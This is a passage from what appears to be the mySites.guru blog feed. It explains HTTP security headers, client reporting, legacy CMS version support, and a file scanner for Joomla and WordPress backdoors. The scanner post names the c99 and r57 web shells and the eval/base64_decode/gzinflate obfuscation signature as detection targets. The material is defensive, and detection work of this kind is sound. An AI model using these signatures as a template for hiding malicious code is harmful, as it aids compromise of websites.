day.&lt;/p&gt;
&lt;h2&gt;Which eight headers does mySites.guru check?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Content-Security-Policy&lt;/strong&gt; - controls which resources the browser is allowed to load&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expect-CT&lt;/strong&gt; - enforces Certificate Transparency requirements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature-Policy&lt;/strong&gt; - flagged if present (this header is deprecated)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permissions-Policy&lt;/strong&gt; - the replacement for Feature-Policy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Referrer-Policy&lt;/strong&gt; - controls how much referrer info is sent with requests&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strict-Transport-Security&lt;/strong&gt; - forces HTTPS connections&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X-Content-Type-Options&lt;/strong&gt; - prevents MIME-type sniffing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X-Frame-Options&lt;/strong&gt; - protects against clickjacking&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ Headers alone won&apos;t save you&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Security headers are best practice, not a silver bullet. &amp;lt;a href=&quot;/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot; class=&quot;underline&quot;&amp;gt;Learn about them&amp;lt;/a&amp;gt; and apply them where possible, but don&apos;t assume they make your site bulletproof.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What does each header actually do?&lt;/h2&gt;
&lt;h3&gt;Content-Security-Policy (CSP)&lt;/h3&gt;
&lt;p&gt;CSP tells the browser which domains are allowed to serve scripts, styles, images, and other resources on your page. Without it, an attacker who finds an XSS hole can inject a script from anywhere and the browser will run it without question.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Content-Security-Policy: default-src &apos;self&apos;; script-src &apos;self&apos; https://cdn.example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That says: only load resources from my own domain, only run scripts from my domain or my CDN, block everything else. Getting CSP right is fiddly. Too strict and you break your own site. Too loose and it&apos;s decoration. But even a basic policy beats having none.&lt;/p&gt;
&lt;h3&gt;Strict-Transport-Security (HSTS)&lt;/h3&gt;
&lt;p&gt;HSTS tells browsers to only connect over HTTPS, even if someone types &lt;code&gt;http://&lt;/code&gt; or clicks an old HTTP link. Without it, the very first request can be intercepted before the redirect to HTTPS kicks in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;max-age&lt;/code&gt; is in seconds. 31536000 is one year. Once a browser sees this, it won&apos;t even try HTTP for that long. &lt;code&gt;includeSubDomains&lt;/code&gt; covers your subdomains too.&lt;/p&gt;
&lt;h3&gt;X-Frame-Options&lt;/h3&gt;
&lt;p&gt;X-Frame-Options prevents your site from being loaded inside an iframe on someone else&apos;s domain. Why care? Clickjacking. An attacker loads your site in a hidden iframe, overlays it with something innocent-looking, and tricks users into clicking buttons on your site without realising it - changing passwords, making purchases, whatever.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Frame-Options: SAMEORIGIN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SAMEORIGIN&lt;/code&gt; means your own site can still iframe itself (useful for admin panels and previews) but nobody else can. &lt;code&gt;DENY&lt;/code&gt; blocks all framing, including from your own domain.&lt;/p&gt;
&lt;h3&gt;Content-Security-Policy vs X-Frame-Options&lt;/h3&gt;
&lt;p&gt;CSP has a &lt;code&gt;frame-ancestors&lt;/code&gt; directive that does the same job as X-Frame-Options, and it&apos;s more flexible. But older browsers don&apos;t support &lt;code&gt;frame-ancestors&lt;/code&gt;, so the recommendation is to set both. They don&apos;t conflict - browsers that understand CSP use &lt;code&gt;frame-ancestors&lt;/code&gt;, older ones fall back to X-Frame-Options.&lt;/p&gt;
&lt;h3&gt;X-Content-Type-Options&lt;/h3&gt;
&lt;p&gt;Browsers sometimes try to be clever and &quot;sniff&quot; the content type of a response instead of trusting the &lt;code&gt;Content-Type&lt;/code&gt; header. An attacker can exploit this by uploading a file that looks like an image but contains JavaScript - the browser sniffs it, decides it&apos;s a script, and executes it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Content-Type-Options: nosniff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One value. Tells the browser to trust the declared content type and stop guessing. Just set it.&lt;/p&gt;
&lt;h3&gt;Referrer-Policy&lt;/h3&gt;
&lt;p&gt;When someone clicks a link from your site to another site, the browser sends a &lt;code&gt;Referer&lt;/code&gt; header (yes, the HTTP spec misspelled &quot;referrer&quot; in 1996 and we&apos;re stuck with it) telling the destination where the click came from. That can leak URL paths, query parameters, or session tokens you&apos;d rather keep private.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Referrer-Policy: strict-origin-when-cross-origin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strict-origin-when-cross-origin&lt;/code&gt; sends just the origin (&lt;code&gt;https://yoursite.com&lt;/code&gt;) on cross-origin requests but strips the path. Same-origin navigations still get the full URL, so your own analytics aren&apos;t affected.&lt;/p&gt;
&lt;h3&gt;Permissions-Policy&lt;/h3&gt;
&lt;p&gt;Permissions-Policy controls which browser APIs your site can use: camera, microphone, geolocation, payment, autoplay, and plenty more. If you don&apos;t use the camera, disable it. If someone manages to inject code into your page, they still can&apos;t turn on the webcam.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Permissions-Policy: camera=(), microphone=(), geolocation=()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Empty parentheses &lt;code&gt;()&lt;/code&gt; means &quot;nobody, not even this page.&quot; You can also allow specific origins if you need them.&lt;/p&gt;
&lt;p&gt;This header replaced the older Feature-Policy header. If your site still sends Feature-Policy, mySites.guru will flag it - you should switch to Permissions-Policy instead.&lt;/p&gt;
&lt;h3&gt;Expect-CT&lt;/h3&gt;
&lt;p&gt;Expect-CT was supposed to ensure that certificates for your domain show up in Certificate Transparency logs, catching misissued or rogue certs.&lt;/p&gt;
&lt;p&gt;Browsers have made this header redundant. Chrome dropped Expect-CT support entirely, and other browsers enforce Certificate Transparency by default now. mySites.guru still checks for it, but this one&apos;s a footnote. Focus on the other seven.&lt;/p&gt;
&lt;h2&gt;How do you check your headers without an account?&lt;/h2&gt;
&lt;p&gt;If you want a quick standalone check, &lt;a href=&quot;https://securityheaders.com&quot;&gt;securityheaders.com&lt;/a&gt; is a good tool. We link to it throughout the mySites.guru snapshot checks too.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://securityheaders.com&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Headers are one layer of defence. For file-level detection of existing compromises, the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; scans your entire webspace for malware, backdoors, and suspicious code patterns. Headers are one of over 140 things mySites.guru checks on each site, from &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;file-level security audits&lt;/a&gt; to PHP config to SSL certificates. All visible from your &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Security headers are covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;full agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security headers</category><category>security</category><category>snapshot</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-13-1024x538.TbklMHsm.webp" length="0" type="image/webp"/></item><item><title>White-Label Client Reports for Your Sites</title><link>https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/</guid><description>Build unlimited branded report templates in mySites.guru. Assign them to scheduled reports and send white-label updates directly to clients.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&apos;ve just launched the &lt;strong&gt;Custom Report Designer&lt;/strong&gt; for the &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label reporting tool&lt;/a&gt; in mySites.guru.&lt;/p&gt;
&lt;p&gt;This feature allows you to create &lt;strong&gt;UNLIMITED&lt;/strong&gt; (unlimited, as is everything in mySites.guru) custom templates for your reports, which can then be assigned to your scheduled (and manually run) report configurations.&lt;/p&gt;
&lt;p&gt;You can use this feature to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a custom layout, with your own logo, fonts, styles, colours&lt;/li&gt;
&lt;li&gt;Move around the sections in the reports&lt;/li&gt;
&lt;li&gt;Remove or add sections&lt;/li&gt;
&lt;li&gt;Create one layout and reuse it on multiple reports&lt;/li&gt;
&lt;li&gt;Centrally manage all your custom templates for reports&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our reports are all HTML. You know HTML. The world knows HTML. &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;There are good reasons&lt;/a&gt; we chose HTML over PDF, doing so gives you COMPLETE CONTROL, using tools you know, over the look and feel!&lt;/p&gt;
&lt;p&gt;This gives you the ability to brand the reports to your own brand. Combined with &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;, you can deliver a fully white-labelled experience to clients.&lt;/p&gt;
&lt;h2&gt;What if I already had customised templates?&lt;/h2&gt;
&lt;p&gt;Dont panic! We migrated your custom templates into the new Custom Report Designer, and reassigned those back to your report configs.&lt;/p&gt;
&lt;p&gt;You can find them your customised templates on the &lt;a href=&quot;https://manage.mysites.guru/en/reports/designer/&quot;&gt;Custom Report Designer&lt;/a&gt; page in your account.&lt;/p&gt;
&lt;h3&gt;BONUS: You can even send the emails from YOUR email address, so when they arrive at your clients, there is no mention of mySites.guru (or phil@phil-taylor.com!)&lt;/h3&gt;
&lt;p&gt;Thats right, just set your DNS correctly to ensure deliverability (we walk you through that) and then you are all set!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Client reporting is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>reports</category><category>white-label</category><category>agency tools</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/4k-images-9-1024x576.CJscwv85.webp" length="0" type="image/webp"/></item><item><title>End-of-Life Version Support in mySites.guru</title><link>https://mysites.guru/blog/end-of-life-supported-versions/</link><guid isPermaLink="true">https://mysites.guru/blog/end-of-life-supported-versions/</guid><description>mySites.guru monitors end-of-life Joomla and WordPress versions from 1.5 to 6, alerting you when sites run unsupported software that puts them at risk.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a perfect world, every site would run the latest version of Joomla or WordPress. In practice, plenty of sites are stuck on old releases. Sometimes very old ones. mySites.guru was built with that in mind.&lt;/p&gt;
&lt;h2&gt;How Far Back Does mySites.guru Support Joomla Versions?&lt;/h2&gt;
&lt;p&gt;Most management services only work with recent Joomla releases. mySites.guru connects to every version from Joomla 1.5.0 onwards. The full 1.5, 2.x, &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;3.x&lt;/a&gt;, 4, 5, and 6 series, all with a single plugin.&lt;/p&gt;
&lt;p&gt;Joomla 1.5.0 was released in January 2008. The final 1.5.x release (1.5.26) came out in 2012. To support versions that old, our plugin has to stay compatible with PHP 5.3.9+. That took real work to get right.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ Running old versions is a risk&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;We support old Joomla versions so you can manage and migrate them, not so you can leave them sitting there. PHP 5.3 is long past end-of-life and has known security vulnerabilities. You need to see what you&apos;re dealing with before you can fix it.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you still have Joomla 3 sites, mySites.guru has a tool to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;fix known Joomla 3 security issues with a single click&lt;/a&gt;. Worth running on anything that hasn&apos;t been migrated to Joomla 4+ yet.&lt;/p&gt;
&lt;h2&gt;Does mySites.guru Track WordPress Versions?&lt;/h2&gt;
&lt;p&gt;mySites.guru tracks WordPress version support too and flags sites that fall behind. WordPress has had automatic updates for years, so there are fewer ancient installations compared to Joomla. But outdated WordPress sites absolutely still exist, and they get targeted. Version bumps like the &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;WordPress 7.0 requirements change&lt;/a&gt; (which drops PHP 7.2/7.3 entirely) can also leave sites stranded on old branches if you&apos;re not tracking PHP versions across your portfolio.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why Should You Upgrade Immediately After a Release?&lt;/h2&gt;
&lt;p&gt;Every Joomla or WordPress release includes notes about the security issues it fixes. Once that information is public, attackers start probing sites that haven&apos;t updated yet. The common advice to &quot;wait a few days to see if anything breaks&quot; is exactly backwards. Those first few days after a release are when your site is most exposed.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Keep everything up to date&lt;/a&gt; across all your sites, run regular &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audits&lt;/a&gt;, and let mySites.guru tell you when something falls behind.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Version lifecycle management is covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>end-of-life</category><category>security</category><category>site management</category><enclosure url="https://mysites.guru/_astro/endoflife.Dq7nyRPY.webp" length="0" type="image/webp"/></item><item><title>Find Hacks and Backdoors in WordPress &amp; Joomla</title><link>https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/</guid><description>Scan your WordPress and Joomla sites for malware, backdoors, and suspicious files. Hash-based detection and 2000+ regex patterns.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; &lt;strong&gt;suspect content tool&lt;/strong&gt; scans every file in your webspace for malware, backdoors, and suspicious code - without exception. It&apos;s the most-used tool in the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit suite&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you already know your &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress site has been hacked&lt;/a&gt; or your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, skip straight to our step-by-step recovery guides. Not sure if you&apos;ve been hacked? Read &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is compromised&lt;/a&gt; first. Or if you just want to scan your files, our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; can check and tell you what&apos;s there.&lt;/p&gt;
&lt;p&gt;The average number of files across the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;80,000+ sites connected to mySites.guru&lt;/a&gt; is just under 20,000. The suspect content tool narrows that down to a handful of files worth looking at.&lt;/p&gt;
&lt;h2&gt;How the mySites.guru audit gathers data&lt;/h2&gt;
&lt;p&gt;The process starts with a mySites.guru audit. This gathers information on every file in your webspace without exceptions. The audit runs in the background - start it and come back later.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule audits&lt;/a&gt; to run on any frequency, or trigger them on demand. At the start of every audit, we also run the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tools, which add over 100 quick checks on top of the full file scan.&lt;/p&gt;
&lt;p&gt;The audit compiles a complete list of every folder in your webspace, then lists every file in those folders.&lt;/p&gt;
&lt;p&gt;For each file, the audit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checks whether it belongs to the Joomla or WordPress core&lt;/li&gt;
&lt;li&gt;If it&apos;s a core file, verifies it hasn&apos;t been modified since release and diffs it against the original&lt;/li&gt;
&lt;li&gt;Saves the md5 hash for future comparisons&lt;/li&gt;
&lt;li&gt;Scans every line against nearly 2000 known hack patterns, labelling matches as &quot;suspect&quot;&lt;/li&gt;
&lt;li&gt;Checks the full file hash against a database of 14,000+ confirmed hacked file hashes - no false positives, each hash is manually validated&lt;/li&gt;
&lt;li&gt;Examines file metadata including creation and modification dates, plus EXIF data on images (a common hiding place)&lt;/li&gt;
&lt;li&gt;Identifies encrypted files, PHP error logs, archives, files over 2MB, zero-byte files, and other anomalous classifications (learn why &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;archive files and SQL dumps are security risks&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the audit finishes, you get a notification to log in and review the results. The screenshot below shows the first three sections of the audit tab.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Every line in every file&lt;/h2&gt;
&lt;p&gt;Most &quot;scanners&quot; check the rendered output of your site - what a browser sees. The mySites.guru audit checks the actual files on disk. That includes files not used in rendering at all: dormant backdoors can sit in a webspace for years before a hacker returns to use them. Hackers also use dot-prefixed filenames because most file managers hide them by default - &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files are a blind spot that deserves its own audit&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Suspect content matching&lt;/h2&gt;
&lt;p&gt;The audit has two main detection methods:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Regex patterns&lt;/strong&gt; - over 2000 patterns built from hacks seen on real Joomla and WordPress sites, including recent and mutated variants. A match labels the file as &quot;suspect&quot;. There will be false positives by design.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Whole-file hash matching&lt;/strong&gt; - a full md5 match against confirmed backdoor hashes marks the file as definitively [HACKED], shown with a red label. These are typically backdoor files we&apos;ve seen before on other sites.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Complete file matching with MD5 hashes&lt;/h2&gt;
&lt;p&gt;When we find a backdoor (c99, r57, or any confirmed hacked file), we store the md5 hash of the entire file. On the next audit of any site connected to mySites.guru, we check for that hash. A match gets a red [HACKED FILE] flag in the audit results.&lt;/p&gt;
&lt;p&gt;There are no false positives here. A hash match is a confirmed hacked file.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Over 2,000 regex patterns&lt;/h2&gt;
&lt;p&gt;The second detection layer uses regex: over 2000 patterns built up over a decade, updated daily. They catch common malware signatures like &lt;code&gt;eval()&lt;/code&gt; combined with &lt;code&gt;base64_decode&lt;/code&gt; and &lt;code&gt;gzinflate&lt;/code&gt;, plus dozens of other patterns.&lt;/p&gt;
&lt;p&gt;Regex patterns also find partial hacks - where malicious code has been injected into an otherwise legitimate file, rather than the whole file being a backdoor.&lt;/p&gt;
&lt;p&gt;Not every match is a hack, and that&apos;s intentional. PHP is used by both legitimate code and by attackers, so some patterns overlap. We work to keep the false positive rate low, but the tool is deliberately inclusive. The result: instead of combing through 20,000 files yourself, you review a handful that the audit flagged.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Just a small number of regex patterns we match on&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Reducing your time looking for hacks&lt;/h2&gt;
&lt;p&gt;The average site across the 63,000 connected to mySites.guru has 19,882 files. The audit narrows that down to a short list worth checking, with a built-in interface to view the exact flagged lines - no FTP client needed.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click any file name to preview the suspect section, along with the file&apos;s modification date, size, and permissions. You can edit the file directly in mySites.guru and save it back to the server, or delete the whole file with a single click.&lt;/p&gt;
&lt;h2&gt;Crowd-sourced data model&lt;/h2&gt;
&lt;p&gt;After every audit, anonymous data on suspect files goes into a review queue. After manual validation, new patterns and hashes are added to the detection model. This means a hack found on one connected site gets added to the checks run on every other site on the next audit.&lt;/p&gt;
&lt;p&gt;It also lets us track waves of infection and detect new and mutated variants earlier.&lt;/p&gt;
&lt;h2&gt;Detection improves daily&lt;/h2&gt;
&lt;p&gt;We run over 3000 audits per day, which keeps the detection model current. We find over 200 hacked sites a week. When the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; was exploited in early March 2026, for example, the suspect content scanner was already flagging the BLPayload backdoor plugins and hacklink cache files across affected sites.&lt;/p&gt;
&lt;h2&gt;What about false positives?&lt;/h2&gt;
&lt;p&gt;Not everything that matches our patterns is a hack. This is by design. PHP is used by both legitimate code and by attackers, so some patterns overlap. We keep the false positive rate as low as we can, but we deliberately err on the side of showing you more rather than less.&lt;/p&gt;
&lt;h2&gt;Can I whitelist files or folders?&lt;/h2&gt;
&lt;p&gt;No. Whitelisting is not permitted.&lt;/p&gt;
&lt;p&gt;You will get false positives, and that’s expected. When pattern matching isn’t enough to make a call, you can &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;ask me to take a look&lt;/a&gt;, or use the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis tool&lt;/a&gt; to triage suspect files in seconds.&lt;/p&gt;
&lt;p&gt;We removed whitelisting after a user whitelisted everything, missed a genuine hack, and sued us. After legal fees we were £14,000 out of pocket. The crowd-sourced data model also means user-supplied whitelists degrade the detection quality for everyone else. I’m the only one who whitelists anything now, and I do it rarely.&lt;/p&gt;
&lt;h2&gt;Comparison to external scanners&lt;/h2&gt;
&lt;p&gt;Most services that claim to have an “audit” tool have implemented the &lt;a href=&quot;https://sitecheck.sucuri.net/&quot;&gt;Sucuri SiteCheck API&lt;/a&gt;, which scans your site as a visiting browser would. It doesn’t check the files in your webspace and won’t find anything hidden below the rendered output. Not all “audits” are equal.&lt;/p&gt;
&lt;h2&gt;Current limitations&lt;/h2&gt;
&lt;p&gt;We don&apos;t currently scan database tables for malware, which means we can miss WordPress SQL-injected posts. That&apos;s on the roadmap.&lt;/p&gt;
&lt;h2&gt;Out of your depth? Need help?&lt;/h2&gt;
&lt;p&gt;If the audit finds your site is hacked and you&apos;d rather not deal with it yourself, you can hand it over at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;&lt;/strong&gt; for a set-fee hack fix.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Read more in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>joomla</category><category>wordpress</category><category>audit tools</category><enclosure url="https://mysites.guru/_astro/19.DeHRsIdv.webp" length="0" type="image/webp"/></item><item><title>Quick Snapshot of All Your Sites</title><link>https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/</guid><description>The mySites.guru snapshot runs 140+ best-practice checks - PHP version, CMS config, security headers, SSL and more - twice a day on every connected site.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru &lt;strong&gt;snapshot&lt;/strong&gt; runs automatically twice a day - or on demand - across every site in your account. Over 140 data points, collected in seconds. PHP version, CMS config, user accounts, security headers, the lot.&lt;/p&gt;
&lt;p&gt;It&apos;s not a photo of your site. It&apos;s a fast check of what&apos;s configured properly and what isn&apos;t.&lt;/p&gt;
&lt;h2&gt;What exactly is the mySites.guru snapshot?&lt;/h2&gt;
&lt;p&gt;Within mySites.guru, where you can add &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited Joomla and WordPress sites&lt;/a&gt; to your account, you&apos;ll see two main areas of checks on the Manage Site page: the &lt;strong&gt;Snapshot&lt;/strong&gt; and the &lt;strong&gt;Audit&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The snapshot checks complete within milliseconds. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;audit&lt;/a&gt; goes deeper - inspecting every line of code in every file on your webspace - so it takes longer.&lt;/p&gt;
&lt;p&gt;Both give you a long list of best-practice checks and flag the things that need attention.&lt;/p&gt;
&lt;p&gt;The snapshot covers your platform (Joomla/WordPress) configuration, writing settings, discussion settings, user accounts and access, plugins and extensions, file information, &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;database integrity&lt;/a&gt;, and hosting environment.&lt;/p&gt;
&lt;p&gt;Each check displays the current status on your site, the trend (whether it&apos;s changed, increased, or decreased), a &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Learn More&lt;/a&gt; button, and either a quick toggle or a link to the investigation page where you can dig into the reported issue and fix it.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Can You Resolve Problems with a Single Click?&lt;/h2&gt;
&lt;p&gt;Some of the Discussion Settings checks for WordPress:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;On the right you can see that these checks can be resolved with a toggle switch - a single click and your site is following best practice again.&lt;/p&gt;
&lt;h2&gt;How Often Does the Snapshot Run?&lt;/h2&gt;
&lt;p&gt;Once a site is connected to mySites.guru, the snapshot data refreshes automatically twice a day. Hit &quot;Take a new snapshot&quot; any time you want fresh data.&lt;/p&gt;
&lt;h3&gt;A huge number of checks&lt;/h3&gt;
&lt;p&gt;We check everything we consider best practice for secure and well-configured websites. You might not agree with every recommendation, and that&apos;s fine.&lt;/p&gt;
&lt;p&gt;One section of the Joomla snapshot:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;And the full page view (if you have good eyesight):&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s just some of the snapshot checks.&lt;/p&gt;
&lt;h2&gt;What Other Features Does the Snapshot Power?&lt;/h2&gt;
